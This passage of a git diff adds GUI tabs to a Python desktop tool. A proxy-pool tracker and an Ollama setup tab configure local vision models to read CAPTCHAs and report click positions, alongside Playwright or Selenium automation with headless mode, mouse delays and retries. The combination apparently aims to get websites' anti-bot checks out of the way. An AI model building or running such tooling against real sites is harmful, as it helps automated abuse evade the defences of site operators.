self.paste_box.delete("1.0", "end") + self._notify(f"Added {added} proxies") + + def _load_saved_proxies(self): + from src.utils.file_io import load_valid_proxies + for ps in load_valid_proxies(): + row = self._add_proxy_row(ps) + if row: + row.state = "valid" + if row.dot: + row.dot.configure(text_color=_DOT_VALID) + if row.status_lbl: + row.status_lbl.configure(text="saved valid", + text_color=CyberpunkTheme.SUCCESS) + + # ── Stats ───────────────────────────────────────────────────────────────── + + def _count_valid(self) -> int: + return sum(1 for r in self._rows.values() if r.state == "valid") + + def _refresh_stats(self): + total = len(self._rows) + valid = sum(1 for r in self._rows.values() if r.state == "valid") + failed = sum(1 for r in self._rows.values() if r.state == "failed") + testing = sum(1 for r in self._rows.values() if r.state == "testing") + inqueue = self.proxy_pool.available_count + try: + self.lbl_total.configure(text=f"Total: {total}") + self.lbl_valid.configure(text=f"Valid: {valid}") + self.lbl_failed.configure(text=f"Dead: {failed}") + self.lbl_testing.configure(text=f"Testing: {testing}") + self.lbl_inqueue.configure(text=f"In Pool: {inqueue}") + except Exception: + pass + + def _update_stats(self): + self._refresh_stats() + + def _notify(self, msg: str): + if self.status_callback: + self.status_callback(msg) + logger.info(msg) diff --git a/src/gui/setup_tab.py b/src/gui/setup_tab.py new file mode 100644 index 0000000..c5f9ae4 --- /dev/null +++ b/src/gui/setup_tab.py @@ -0,0 +1,772 @@ +""" +Setup Tab — Ollama model integration for CAPTCHA solving. +Configures local vision models, browser automation, and CAPTCHA solving pipeline. +""" +import json +import logging +import threading +from dataclasses import dataclass, field +from typing import List, Optional, Dict, Any +import customtkinter as ctk +import requests +from config import DEFAULT_OLLAMA_CONFIG, OLLAMA_CONFIG_FILE +from src.gui.theme import CyberpunkTheme + +logger = logging.getLogger(__name__) + +OLLAMA_DEFAULT_HOST = "http://localhost:11434" + + +@dataclass +class OllamaConfig: + """Configuration for Ollama integration.""" + host: str = OLLAMA_DEFAULT_HOST + model: str = "" + timeout: int = 60 + temperature: float = 0.1 + top_p: float = 0.9 + max_tokens: int = 512 + + +class OllamaManager: + """Manages Ollama API interactions — model listing, status checks, inference.""" + + def __init__(self, host: str = OLLAMA_DEFAULT_HOST): + self.host = host.rstrip("/") + + def is_running(self) -> bool: + """Check if Ollama server is reachable.""" + try: + resp = requests.get(f"{self.host}/api/tags", timeout=3) + return resp.status_code == 200 + except requests.RequestException: + return False + + def list_models(self) -> List[Dict[str, Any]]: + """Get list of available models from Ollama.""" + try: + resp = requests.get(f"{self.host}/api/tags", timeout=5) + if resp.status_code == 200: + data = resp.json() + models = data.get("models", []) + return [ + { + "name": m["name"], + "size_gb": round(m["size"] / (1024**3), 2), + "modified": m.get("modified_at", ""), + } + for m in models + ] + return [] + except requests.RequestException as e: + logger.warning(f"Failed to list Ollama models: {e}") + return [] + + def get_model_names(self) -> List[str]: + """Get just the model names.""" + return [m["name"] for m in self.list_models()] + + def pull_model(self, model_name: str) -> bool: + """Pull a model from Ollama registry.""" + try: + resp = requests.post( + f"{self.host}/api/pull", + json={"name": model_name}, + timeout=300, # Long timeout for downloads + stream=True, + ) + return resp.status_code == 200 + except requests.RequestException as e: + logger.error(f"Failed to pull model {model_name}: {e}") + return False + + def generate(self, model: str, prompt: str, images: Optional[List[str]] = None) -> Optional[str]: + """ + Generate a response from the model. + images: list of base64-encoded images. + """ + payload = { + "model": model, + "prompt": prompt, + "stream": False, + "options": { + "temperature": 0.1, + "top_p": 0.9, + "num_predict": 512, + } + } + if images: + payload["images"] = images + + try: + resp = requests.post( + f"{self.host}/api/generate", + json=payload, + timeout=120, + ) + if resp.status_code == 200: + data = resp.json() + return data.get("response", "") + logger.warning(f"Ollama generate returned {resp.status_code}: {resp.text[:200]}") + return None + except requests.RequestException as e: + logger.error(f"Ollama generate failed: {e}") + return None + + def chat(self, model: str, messages: List[Dict], images: Optional[List[str]] = None) -> Optional[str]: + """ + Chat completion with optional image support. + """ + payload = { + "model": model, + "messages": messages, + "stream": False, + "options": { + "temperature": 0.1, + "top_p": 0.9, + } + } + if images and messages: + # Add images to the last message + if "images" not in messages[-1]: + messages[-1]["images"] = images + + try: + resp = requests.post( + f"{self.host}/api/chat", + json=payload, + timeout=120, + ) + if resp.status_code == 200: + data = resp.json() + return data.get("message", {}).get("content", "") + return None + except requests.RequestException as e: + logger.error(f"Ollama chat failed: {e}") + return None + + +class SetupTab(ctk.CTkFrame): + """ + Setup Tab — Ollama model configuration and CAPTCHA solving pipeline setup. + Features: + - Auto-detect Ollama server + - Model selector dropdown (auto-populated from Ollama) + - Pull new models + - CAPTCHA solving configuration + - Browser automation settings + """ + + def __init__(self, parent): + super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM) + self.ollama = OllamaManager() + self.config = OllamaConfig() + self._build_ui() + self._load_saved_config() + + def _build_ui(self): + """Build the setup tab UI.""" + # Title + title = ctk.CTkLabel( + self, text="[ SETUP & CONFIGURATION ]", + font=("Consolas", 18, "bold"), + text_color=CyberpunkTheme.PRIMARY, + ) + title.pack(pady=(15, 5)) + + subtitle = ctk.CTkLabel( + self, text="Configure Ollama vision models, CAPTCHA solving, and automation settings", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_SECONDARY, + ) + subtitle.pack(pady=(0, 15)) + + # Main content (scrollable) + self.content = ctk.CTkScrollableFrame( + self, fg_color=CyberpunkTheme.BG_MEDIUM, + border_width=1, border_color=CyberpunkTheme.BORDER, + ) + self.content.pack(fill="both", expand=True, padx=15, pady=(0, 10)) + + # === SECTION 1: Ollama Server === + CyberpunkTheme.create_section_header(self.content, "> OLLAMA SERVER") + + server_frame = ctk.CTkFrame(self.content, fg_color="transparent") + server_frame.pack(fill="x", padx=10, pady=5) + + # Host input + row1 = ctk.CTkFrame(server_frame, fg_color="transparent") + row1.pack(fill="x") + + ctk.CTkLabel( + row1, text="Host URL:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.host_entry = ctk.CTkEntry( + row1, placeholder_text="http://localhost:11434", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), + width=300, + ) + self.host_entry.insert(0, OLLAMA_DEFAULT_HOST) + self.host_entry.pack(side="left", padx=(0, 10)) + CyberpunkTheme.apply_focus_glow(self.host_entry) + + self.connect_btn = CyberpunkTheme.create_neon_button( + row1, text="🔗 CONNECT", + command=self._on_connect, + color=CyberpunkTheme.TERTIARY, + width=120, height=30, + ) + self.connect_btn.pack(side="left", padx=(0, 10)) + + self.ollama_status_label = ctk.CTkLabel( + row1, text="● UNKNOWN", + font=("Consolas", 11, "bold"), + text_color=CyberpunkTheme.TEXT_DIM, + ) + self.ollama_status_label.pack(side="left") + + # === SECTION 2: Model Selection === + CyberpunkTheme.create_section_header(self.content, "> VISION MODEL SELECTOR") + + model_frame = ctk.CTkFrame(self.content, fg_color="transparent") + model_frame.pack(fill="x", padx=10, pady=5) + + row_m1 = ctk.CTkFrame(model_frame, fg_color="transparent") + row_m1.pack(fill="x") + + ctk.CTkLabel( + row_m1, text="Selected Model:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.model_var = ctk.StringVar(value="") + self.model_dropdown = ctk.CTkOptionMenu( + row_m1, + values=["No models found"], + variable=self.model_var, + fg_color=CyberpunkTheme.BG_DARK, + button_color=CyberpunkTheme.TERTIARY, + button_hover_color=CyberpunkTheme.PRIMARY, + text_color=CyberpunkTheme.TEXT_PRIMARY, + dropdown_fg_color=CyberpunkTheme.BG_MEDIUM, + dropdown_hover_color=CyberpunkTheme.TERTIARY, + dropdown_text_color=CyberpunkTheme.TEXT_PRIMARY, + font=("Consolas", 12), + width=300, + ) + self.model_dropdown.pack(side="left", padx=(0, 10)) + + self.refresh_models_btn = CyberpunkTheme.create_neon_button( + row_m1, text="🔄 REFRESH", + command=self._on_refresh_models, + color=CyberpunkTheme.PRIMARY, + width=100, height=30, + ) + self.refresh_models_btn.pack(side="left", padx=(0, 10)) + + # Pull new model + row_m2 = ctk.CTkFrame(model_frame, fg_color="transparent") + row_m2.pack(fill="x", pady=(8, 0)) + + ctk.CTkLabel( + row_m2, text="Pull Model:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.pull_entry = ctk.CTkEntry( + row_m2, placeholder_text="e.g., llava:13b, bakllava, minicpm-v", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + width=250, + ) + self.pull_entry.pack(side="left", padx=(0, 10)) + + self.pull_btn = CyberpunkTheme.create_neon_button( + row_m2, text="📥 PULL", + command=self._on_pull_model, + color=CyberpunkTheme.TERTIARY, + width=80, height=28, + ) + self.pull_btn.pack(side="left") + + # Recommended models info + row_m3 = ctk.CTkFrame(model_frame, fg_color="transparent") + row_m3.pack(fill="x", pady=(8, 0)) + + ctk.CTkLabel( + row_m3, + text="Recommended: deepseek-r1:8b deepseek-vl2 llava:13b minicpm-v bakllava moondream", + font=("Consolas", 10), + text_color=CyberpunkTheme.TEXT_DIM, + ).pack(anchor="w") + + ctk.CTkLabel( + row_m3, + text="DeepSeek pull cmds: ollama pull deepseek-r1:8b | ollama pull deepseek-vl2", + font=("Consolas", 9), + text_color=CyberpunkTheme.TEXT_DIM, + ).pack(anchor="w", pady=(2, 0)) + + # === SECTION 3: CAPTCHA Solving Configuration === + CyberpunkTheme.create_section_header(self.content, "> CAPTCHA SOLVING CONFIG") + + captcha_frame = ctk.CTkFrame(self.content, fg_color="transparent") + captcha_frame.pack(fill="x", padx=10, pady=5) + + # Prompt template + row_c1 = ctk.CTkFrame(captcha_frame, fg_color="transparent") + row_c1.pack(fill="x") + + ctk.CTkLabel( + row_c1, text="Analysis Prompt:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(anchor="w") + + self.prompt_text = ctk.CTkTextbox( + captcha_frame, height=80, + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.prompt_text.insert("1.0", ( + "Look at this CAPTCHA image carefully.\n" + "1. Describe what you see\n" + "2. What is the instruction?\n" + "3. Which elements need to be clicked?\n" + "4. Provide the exact coordinates or tile positions" + )) + self.prompt_text.pack(fill="x", pady=(5, 0)) + + # Model parameters + row_c2 = ctk.CTkFrame(captcha_frame, fg_color="transparent") + row_c2.pack(fill="x", pady=(8, 0)) + + ctk.CTkLabel( + row_c2, text="Temperature:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.temp_var = ctk.DoubleVar(value=0.1) + temp_slider = ctk.CTkSlider( + row_c2, from_=0.0, to=1.0, number_of_steps=20, + variable=self.temp_var, + fg_color=CyberpunkTheme.BG_DARK, + progress_color=CyberpunkTheme.PRIMARY, + button_color=CyberpunkTheme.PRIMARY, + width=150, + ) + temp_slider.pack(side="left", padx=(0, 5)) + + self.temp_label = ctk.CTkLabel( + row_c2, text="0.1", + font=("Consolas", 11), text_color=CyberpunkTheme.PRIMARY, width=30, + ) + self.temp_label.pack(side="left", padx=(0, 20)) + + def update_temp(val): + self.temp_label.configure(text=f"{float(val):.1f}") + temp_slider.configure(command=update_temp) + + ctk.CTkLabel( + row_c2, text="Max Tokens:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.max_tokens_entry = ctk.CTkEntry( + row_c2, width=80, placeholder_text="512", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.max_tokens_entry.insert(0, "512") + self.max_tokens_entry.pack(side="left") + + # === SECTION 4: Browser Automation === + CyberpunkTheme.create_section_header(self.content, "> BROWSER AUTOMATION") + + browser_frame = ctk.CTkFrame(self.content, fg_color="transparent") + browser_frame.pack(fill="x", padx=10, pady=5) + + row_b1 = ctk.CTkFrame(browser_frame, fg_color="transparent") + row_b1.pack(fill="x") + + ctk.CTkLabel( + row_b1, text="Engine:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.browser_engine_var = ctk.StringVar(value="Playwright") + browser_menu = ctk.CTkOptionMenu( + row_b1, + values=["Playwright", "Selenium", "None (Manual)"], + variable=self.browser_engine_var, + fg_color=CyberpunkTheme.BG_DARK, + button_color=CyberpunkTheme.TERTIARY, + button_hover_color=CyberpunkTheme.PRIMARY, + text_color=CyberpunkTheme.TEXT_PRIMARY, + dropdown_fg_color=CyberpunkTheme.BG_MEDIUM, + dropdown_hover_color=CyberpunkTheme.TERTIARY, + dropdown_text_color=CyberpunkTheme.TEXT_PRIMARY, + font=("Consolas", 11), + width=180, + ) + browser_menu.pack(side="left", padx=(0, 20)) + + ctk.CTkLabel( + row_b1, text="Headless:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.headless_var = ctk.BooleanVar(value=False) + ctk.CTkCheckBox( + row_b1, text="", variable=self.headless_var, + checkbox_width=20, checkbox_height=20, + ).pack(side="left", padx=(0, 20)) + + ctk.CTkLabel( + row_b1, text="Viewport:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.viewport_entry = ctk.CTkEntry( + row_b1, width=120, placeholder_text="1280x720", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.viewport_entry.insert(0, "1280x720") + self.viewport_entry.pack(side="left") + + # Mouse behavior + row_b2 = ctk.CTkFrame(browser_frame, fg_color="transparent") + row_b2.pack(fill="x", pady=(8, 0)) + + ctk.CTkLabel( + row_b2, text="Mouse Delay (ms):", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.mouse_delay_entry = ctk.CTkEntry( + row_b2, width=60, placeholder_text="50", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.mouse_delay_entry.insert(0, "50") + self.mouse_delay_entry.pack(side="left", padx=(0, 20)) + + ctk.CTkLabel( + row_b2, text="Retry Limit:", + font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY, + ).pack(side="left", padx=(0, 5)) + + self.retry_entry = ctk.CTkEntry( + row_b2, width=60, placeholder_text="3", + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11), + ) + self.retry_entry.insert(0, "3") + self.retry_entry.pack(side="left") + + # === SECTION 5: System Status === + CyberpunkTheme.create_section_header(self.content, "> SYSTEM STATUS") + + status_frame = ctk.CTkFrame(self.content, fg_color="transparent") + status_frame.pack(fill="x", padx=10, pady=5) + + self.status_text = ctk.CTkTextbox( + status_frame, height=100, + fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER, + text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10), + ) + self.status_text.pack(fill="x") + self.status_text.insert("1.0", "System status will appear here after connecting to Ollama...\n") + self.status_text.configure(state="disabled") + + # === Bottom: Save Config === + bottom_frame = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=50) + bottom_frame.pack(fill="x", side="bottom") + + inner_bottom = ctk.CTkFrame(bottom_frame, fg_color="transparent") + inner_bottom.pack(fill="x", padx=15, pady=8) + + self.save_btn = CyberpunkTheme.create_neon_button( + inner_bottom, text="💾 SAVE CONFIGURATION", + command=self._on_save_config, + color=CyberpunkTheme.SUCCESS, + width=220, height=36, + ) + self.save_btn.pack(side="right") + + self.test_model_btn = CyberpunkTheme.create_neon_button( + inner_bottom, text="🧪 TEST MODEL", + command=self._on_test_model, + color=CyberpunkTheme.PRIMARY, + width=160, height=36, + ) + self.test_model_btn.pack(side="right", padx=(0, 10)) + + self.test_captcha_btn = CyberpunkTheme.create_neon_button( + inner_bottom, text="🔍 TEST CAPTCHA SOLVER", + command=self._on_test_captcha_solver, + color=CyberpunkTheme.TERTIARY, + width=210, height=36, + ) + self.test_captcha_btn.pack(side="right", padx=(0, 10)) + + # Auto-connect on startup + self.after(1000, self._auto_connect) + + def _auto_connect(self): + """Auto-detect Ollama on startup.""" + if self.ollama.is_running(): + self._on_connect_success() + else: + self.ollama_status_label.configure( + text="● NOT FOUND", text_color=CyberpunkTheme.ERROR + ) + self._log_status("Ollama server not detected at " + OLLAMA_DEFAULT_HOST) + self._log_status("Make sure Ollama is running: https://ollama.ai") + + def _on_connect(self): + """Connect to Ollama server.""" + host = self.host_entry.get().strip() + if not host: + host = OLLAMA_DEFAULT_HOST + + self.ollama.host = host + self.connect_btn.configure(state="disabled", text="⏳ CONNECTING...") + + def worker(): + if self.ollama.is_running(): + self.after(0, self._on_connect_success) + else: + self.after(0, self._on_connect_failure) + + thread = threading.Thread(target=worker, daemon=True) + thread.start() + + def _on_connect_success(self): + """Handle successful connection.""" + self.connect_btn.configure(state="normal", text="🔗 CONNECT") + self.ollama_status_label.configure( + text="● CONNECTED", text_color=CyberpunkTheme.SUCCESS + ) + self._log_status("✅ Connected to Ollama at " + self.ollama.host) + self._on_refresh_models() + + def _on_connect_failure(self): + """Handle connection failure.""" + self.connect_btn.configure(state="normal", text="🔗 CONNECT") + self.ollama_status_label.configure( + text="● FAILED", text_color=CyberpunkTheme.ERROR + ) + self._log_status("❌ Failed to connect to Ollama") + + def _on_refresh_models(self): + """Refresh the model list from Ollama.""" + self.refresh_models_btn.configure(state="disabled", text="⏳") + + def worker(): + models = self.ollama.get_model_names() + self.after(0, self._on_models_loaded, models) + + thread = threading.Thread(target=worker, daemon=True) + thread.start() + + def _on_models_loaded(self, models: List[str]): + """Update UI with loaded models.""" + self.refresh_models_btn.configure(state="normal", text="🔄 REFRESH") + + if models: + self.model_dropdown.configure(values=models) + if not self.model_var.get() or self.model_var.get() not in models: + self.model_var.set(models[0]) + self._log_status(f"📦 Found {len(models)} models: {', '.join(models[:5])}{'...' if len(models) > 5 else ''}") + else: + self.model_dropdown.configure(values=["No models found"]) + self.model_var.set("No models found") + self._log_status("⚠️ No models found. Pull a vision model to get started.") + + def _on_pull_model(self): + """Pull a model from Ollama registry.""" + model_name = self.pull_entry.get().strip() + if not model_name: + self._log_status("⚠️ Enter a model name to pull") + return + + self.pull_btn.configure(state="disabled", text="⏳ PULLING...") + self._log_status(f"📥 Pulling model: {model_name} (this may take a while)...") + + def worker(): + success = self.ollama.pull_model(model_name) + self.after(0, self._on_pull_complete, model_name, success) + + thread = threading.Thread(target=worker, daemon=True) + thread.start() + + def _on_pull_complete(self, model_name: str, success: bool): + """Handle pull completion.""" + self.pull_btn.configure(state="normal", text="📥 PULL") + if success: + self._log_status(f"✅ Successfully pulled {model_name}") + self._on_refresh_models() + else: + self._log_status(f"❌ Failed to pull {model_name}") + + def _on_test_model(self): + """Test the selected model with a simple prompt.""" + model = self.model_var.get() + if not model or model == "No models found": + self._log_status("⚠️ No model selected") + return + + self.test_model_btn.configure(state="disabled", text="⏳ TESTING...") + self._log_status(f"🧪 Testing model: {model}...") + + def worker(): + try: + from src.captcha.captcha_solver import CaptchaSolver + solver = CaptchaSolver( + host=self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST, + model=model, + timeout=60, + ) + ok, response = solver.test_text_generation( + "Reply with exactly: OK - Model is working" + ) + self.after(0, self._on_test_complete, response if ok else None) + except Exception as e: + logger.warning(f"Model test failed: {e}") + self.after(0, self._on_test_complete, None) + + thread = threading.Thread(target=worker, daemon=True) + thread.start() + + def _on_test_complete(self, response: Optional[str]): + """Handle model test result.""" + self.test_model_btn.configure(state="normal", text="🧪 TEST MODEL") + if response: + self._log_status(f"✅ Model test successful: {response[:100]}") + else: + self._log_status("❌ Model test failed — no response") + + def _load_saved_config(self): + """Pre-fill UI fields from config_ollama.json if it exists.""" + try: + path = OLLAMA_CONFIG_FILE + if not path.exists(): + path.write_text( + json.dumps(DEFAULT_OLLAMA_CONFIG, indent=2), + encoding="utf-8", + ) + cfg = {**DEFAULT_OLLAMA_CONFIG, **json.loads(path.read_text(encoding="utf-8"))} + if cfg.get("ollama_host"): + self.host_entry.delete(0, "end") + self.host_entry.insert(0, cfg["ollama_host"]) + self.ollama.host = cfg["ollama_host"] + saved_model = cfg.get("model", "") + if saved_model: + self.model_var.set(saved_model) + if cfg.get("temperature") is not None: + self.temp_var.set(float(cfg["temperature"])) + if cfg.get("max_tokens"): + self.max_tokens_entry.delete(0, "end") + self.max_tokens_entry.insert(0, str(cfg["max_tokens"])) + if cfg.get("prompt_template"): + self.prompt_text.delete("1.0", "end") + self.prompt_text.insert("1.0", cfg["prompt_template"]) + if cfg.get("browser_engine"): + self.browser_engine_var.set(cfg["browser_engine"]) + self.headless_var.set(bool(cfg.get("headless", False))) + if cfg.get("viewport"): + self.viewport_entry.delete(0, "end") + self.viewport_entry.insert(0, cfg["viewport"]) + if cfg.get("mouse_delay_ms") is not None: + self.mouse_delay_entry.delete(0, "end") + self.mouse_delay_entry.insert(0, str(cfg["mouse_delay_ms"])) + if cfg.get("retry_limit") is not None: + self.retry_entry.delete(0, "end") + self.retry_entry.insert(0, str(cfg["retry_limit"])) + self._log_status("📂 Loaded saved configuration") + except Exception as e: + self._log_status(f"Could not load saved config: {e}") + + def _on_save_config(self): + """Save the current configuration and reload the CAPTCHA solver.""" + model = self.model_var.get() + if model == "No models found": + model = "" + config = { + "ollama_host": self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST, + "model": model, + "temperature": self.temp_var.get(), + "max_tokens": int(self.max_tokens_entry.get() or "512"), + "prompt_template": self.prompt_text.get("1.0", "end").strip(), + "browser_engine": self.browser_engine_var.get(), + "headless": self.headless_var.get(), + "viewport": self.viewport_entry.get().strip(), + "mouse_delay_ms": int(self.mouse_delay_entry.get() or "50"), + "retry_limit": int(self.retry_entry.get() or "3"), + } + + try: + with open(OLLAMA_CONFIG_FILE, "w", encoding="utf-8") as f: + json.dump(config, f, indent=2) + self._log_status(f"💾 Configuration saved (model: {model or 'none'})") + # Reload the global captcha solver so it picks up the new model + try: + from src.captcha.captcha_solver import CaptchaSolver + _solver = CaptchaSolver() + _solver.reload_config() + except Exception: + pass + except Exception as e: + self._log_status(f"❌ Failed to save config: {e}") + + def _on_test_captcha_solver(self): + """Test the CAPTCHA solver with a blank white image.""" + model = self.model_var.get() + if not model or model == "No models found": + self._log_status("⚠️ Select a model first, then SAVE CONFIGURATION") + return + + self.test_captcha_btn.configure(state="disabled", text="⏳ TESTING…") + self._log_status(f"🔍 Testing CAPTCHA solver with model: {model} …") + + def worker(): + try: + from src.captcha.captcha_solver import CaptchaSolver + from PIL import Image + from io import BytesIO + solver = CaptchaSolver( + host=self.host_entry.get().strip() or OLLAMA_DEFAULT_HOST, + model=model, + timeout=60, + ) + # Create a simple test image (white 200x80 with text) + img = Image.new("RGB", (200, 80), color=(240, 240, 240)) + buf = BytesIO() + img.save(buf, format="PNG") + ok, answer = solver.solve(buf.getvalue(), + prompt="This is a test. Reply with exactly: SOLVER_OK") + self.after(0, lambda o=ok, a=answer: self._on_captcha_test_done(o, a)) + except Exception as e: + self.after(0, lambda: self._on_captcha_test_done(False, str(e))) + + threading.Thread(target=worker, daemon=True).start() + + def _on_captcha_test_done(self, ok: bool, answer: str): + self.test_captcha_btn.configure(state="normal", text="🔍 TEST CAPTCHA SOLVER") + if ok: + self._log_status(f"✅ CAPTCHA solver responded: '{answer[:80]}'") + else: + self._log_status(f"❌ CAPTCHA solver failed: {answer[:120]}") + + def _log_status(self, message: str): + """Add a message to the status log.""" + from datetime import datetime + timestamp = datetime.now().strftime("%H:%M:%S") + self.status_text.configure(state="normal") + self.status_text.insert("end", f"[{timestamp}] {message}\n") + self.status_text.see("end") + self.status_text.configure(state="disabled") diff --git a/src/gui/theme.py b/src/gui/theme.py new file mode 100644 index 0000000..25f1e9a --- /dev/null +++ b/src/gui/theme.py @@ -0,0 +1,265 @@ +""" +Cyberpunk theme — colors, fonts, and reusable widget factories. +""" +import customtkinter as ctk +from config import THEME + + +class CyberpunkTheme: + """Applies the cyberpunk neon theme to the entire application.""" + + # Color palette + BG_DARK = THEME["bg_dark"] + BG_MEDIUM = THEME["bg_medium"] + BG_LIGHT = THEME["bg_light"] + PRIMARY = THEME["primary"] + SECONDARY = THEME["secondary"] + TERTIARY = THEME["tertiary"] + TEXT_PRIMARY = THEME["text_primary"] + TEXT_SECONDARY = THEME["text_secondary"] + TEXT_DIM = THEME["text_dim"] + SUCCESS = THEME["success"] + WARNING = THEME["warning"] + ERROR = THEME["error"] + BORDER = THEME["border"] + + @classmethod + def _set(cls, widget: str, **props): + """Set theme properties only when the widget key exists in customtkinter.""" + theme = ctk.ThemeManager.theme + if widget not in theme: + return + for key, value in props.items(): + if key in theme[widget]: + theme[widget][key] = value + + @classmethod + def apply(cls): + """Apply the cyberpunk theme globally to customtkinter.""" + ctk.set_appearance_mode("dark") + ctk.set_default_color_theme("dark-blue") + + # ── Frames ────────────────────────────────────────────── + cls._set("CTkFrame", + fg_color=[cls.BG_MEDIUM, cls.BG_MEDIUM], + border_color=[cls.BORDER, cls.BORDER], + top_fg_color=[cls.BG_DARK, cls.BG_DARK]) + + # ── Buttons ───────────────────────────────────────────── + cls._set("CTkButton", + fg_color=[cls.TERTIARY, cls.TERTIARY], + hover_color=[cls.PRIMARY, cls.PRIMARY], + text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY], + border_color=[cls.PRIMARY, cls.PRIMARY]) + + # ── Entries ───────────────────────────────────────────── + cls._set("CTkEntry", + fg_color=[cls.BG_DARK, cls.BG_DARK], + text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY], + border_color=[cls.BORDER, cls.BORDER], + placeholder_text_color=[cls.TEXT_DIM, cls.TEXT_DIM]) + + # ── Labels ────────────────────────────────────────────── + cls._set("CTkLabel", + text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY], + fg_color=["transparent", "transparent"]) + + # ── Checkboxes (customtkinter uses CTkCheckBox, not CTkCheckbox) ── + cls._set("CTkCheckBox", + fg_color=[cls.TERTIARY, cls.TERTIARY], + hover_color=[cls.PRIMARY, cls.PRIMARY], + text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY], + border_color=[cls.BORDER, cls.BORDER], + checkmark_color=[cls.BG_DARK, cls.BG_DARK]) + + # ── Progress bars ──────────────────────────────────────── + cls._set("CTkProgressBar", + fg_color=[cls.BG_DARK, cls.BG_DARK], + progress_color=[cls.PRIMARY, cls.PRIMARY], + border_color=[cls.BORDER, cls.BORDER]) + + # ── Sliders ────────────────────────────────────────────── + cls._set("CTkSlider", + fg_color=[cls.BG_DARK, cls.BG_DARK], + progress_color=[cls.PRIMARY, cls.PRIMARY], + button_color=[cls.PRIMARY, cls.PRIMARY], + button_hover_color=[cls.SECONDARY, cls.SECONDARY]) + + # ── Option menus ───────────────────────────────────────── + cls._set("CTkOptionMenu", + fg_color=[cls.BG_DARK, cls.BG_DARK], + text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY], + dropdown_fg_color=[cls.BG_MEDIUM, cls.BG_MEDIUM], + dropdown_hover_color=[cls.TERTIARY, cls.TERTIARY], + dropdown_text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY], + border_color=[cls.BORDER, cls.BORDER]) + + # ── Scrollbars ─────────────────────────────────────────── + cls._set("CTkScrollbar", + fg_color=[cls.BG_DARK, cls.BG_DARK], + button_color=[cls.TERTIARY, cls.TERTIARY], + button_hover_color=[cls.PRIMARY, cls.PRIMARY]) + + # ── Tab bar (CTkTabview uses CTkSegmentedButton internally) ── + cls._set("CTkSegmentedButton", + fg_color=[cls.BG_DARK, cls.BG_DARK], + selected_color=[cls.TERTIARY, cls.TERTIARY], + selected_hover_color=[cls.PRIMARY, cls.PRIMARY], + unselected_color=[cls.BG_DARK, cls.BG_DARK], + unselected_hover_color=[cls.BG_LIGHT, cls.BG_LIGHT], + text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY]) + + # ── Textboxes ──────────────────────────────────────────── + cls._set("CTkTextbox", + fg_color=[cls.BG_DARK, cls.BG_DARK], + text_color=[cls.TEXT_PRIMARY, cls.TEXT_PRIMARY], + border_color=[cls.BORDER, cls.BORDER]) + + # ── Scrollable frames ──────────────────────────────────── + cls._set("CTkScrollableFrame", + fg_color=[cls.BG_MEDIUM, cls.BG_MEDIUM], + border_color=[cls.BORDER, cls.BORDER]) + + # ────────────────────────────────────────────────────────────── + # Widget factories + # ────────────────────────────────────────────────────────────── + + @staticmethod + def create_neon_button(parent, text, command=None, color=None, **kwargs): + """Neon button with colored border glow.""" + fg = color or CyberpunkTheme.TERTIARY + # Hover brightens toward PRIMARY cyan + hover = CyberpunkTheme.PRIMARY if fg != CyberpunkTheme.PRIMARY else CyberpunkTheme.SECONDARY + font = kwargs.pop("font", ("Consolas", 13, "bold")) + btn = ctk.CTkButton( + parent, + text=text, + command=command, + fg_color=fg, + hover_color=hover, + border_width=1, + border_color=CyberpunkTheme.PRIMARY, + 